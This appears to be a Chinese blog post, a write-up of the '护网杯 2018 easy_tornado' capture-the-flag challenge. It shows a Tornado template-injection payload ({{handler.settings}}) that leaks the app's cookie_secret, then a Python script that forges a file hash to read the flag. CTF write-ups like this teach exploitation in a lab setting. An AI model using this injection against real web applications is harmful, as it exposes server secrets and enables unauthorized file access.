• [护网杯 2018]easy_tornado 1(两种解法!)


    题目环境:
    image.png
    发现有三个txt文本文件

    /flag.txt
    /welcome.txt
    /hints.txt

    依此点开
    image.png

    flag在/fllllllllllllag文件中

    image.png
    image.png

    在hints.txt文件中发现md5计算
    md5(cookie_secret+md5(filename))

    并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)

    猜测解题关键点在md5(cookie_secret+md5(filename))这里
    首先flag在/fllllllllllllag文件中**,所以就是filename=/fllllllllllllag;**filehash=md5(cookie_secret+md5(filename))
    现在只缺cookie_secret这个东西,只要有了cookie_secret再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag

    注意题目easy_tornado 1;tornado是python的一个模板,可以看出这道题是模板注入类的题目

    改哈希值看看是否有变化
    image.png
    回车
    image.png

    模板注入必须通过传输型如{{xxx}}的执行命令

    image.png
    image.png
    果然是tornado模板注入

    在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

    简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

    爆cookie_secret
    error?msg={{handler.settings}}
    image.png
    得到cookie_secret
    76fc62a3-fea5-46ab-8f95-4b7262246f8c
    按照公式进行加密
    image.png
    /fllllllllllllag=3bf9f6cf685a6dd8defadabfb41a03a1
    cookie_secret+md5(filename)
    76fc62a3-fea5-46ab-8f95-4b7262246f8c3bf9f6cf685a6dd8defadabfb41a03a1
    image.png
    md5(cookie_secret+md5(filename))
    39482391ef4cc45a75262be45e94c725
    最终payload:
    ?filename=/fllllllllllllag&filehash=39482391ef4cc45a75262be45e94c725
    image.png
    当然也可以用python脚本进行加密

    import hashlib  #选用哈希模块
    filename = '/fllllllllllllag'  #文件名
    cookie_secret = '76fc62a3-fea5-46ab-8f95-4b7262246f8c'#cookie_secret值
    filename = hashlib.md5(filename.encode()).hexdigest()#/fllllllllllllag进行32位小写哈希md5加密
    a = cookie_secret + filename#md5值进行拼接
    filehash = hashlib.md5(a.encode()).hexdigest()#计算拼接后的md5值的md532小写的值
    print(filehash)#输出加密后的md532位小写的值
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image.png
    image.png
    得到flag:
    flag{5ae1c44d-f83a-4005-a69b-a1ea133391db}

  • 相关阅读:
    python-28-日志模块Loguru的应用
    Java 动态代理原理图解 (附:2种实现方式详细对比)
    php 实现websocket服务
    大工22春《施工组织课程设计》离线作业模板及要求【标准答案】
    MVVM的前世今生与在苹果开发中的应用
    .NET实现多线程拷贝文件
    本科生学深度学习-Attention机制
    【鸿蒙软件开发】ArkTS基础组件之Marquee(文字跑马灯)、QRCode(二维码生成)
    超神之路 数据结构 2 —— Queue队列实现和循环队列和普通队列的性能比较
    Matlab图形绘制
  • 原文地址:https://blog.csdn.net/m0_73734159/article/details/134360691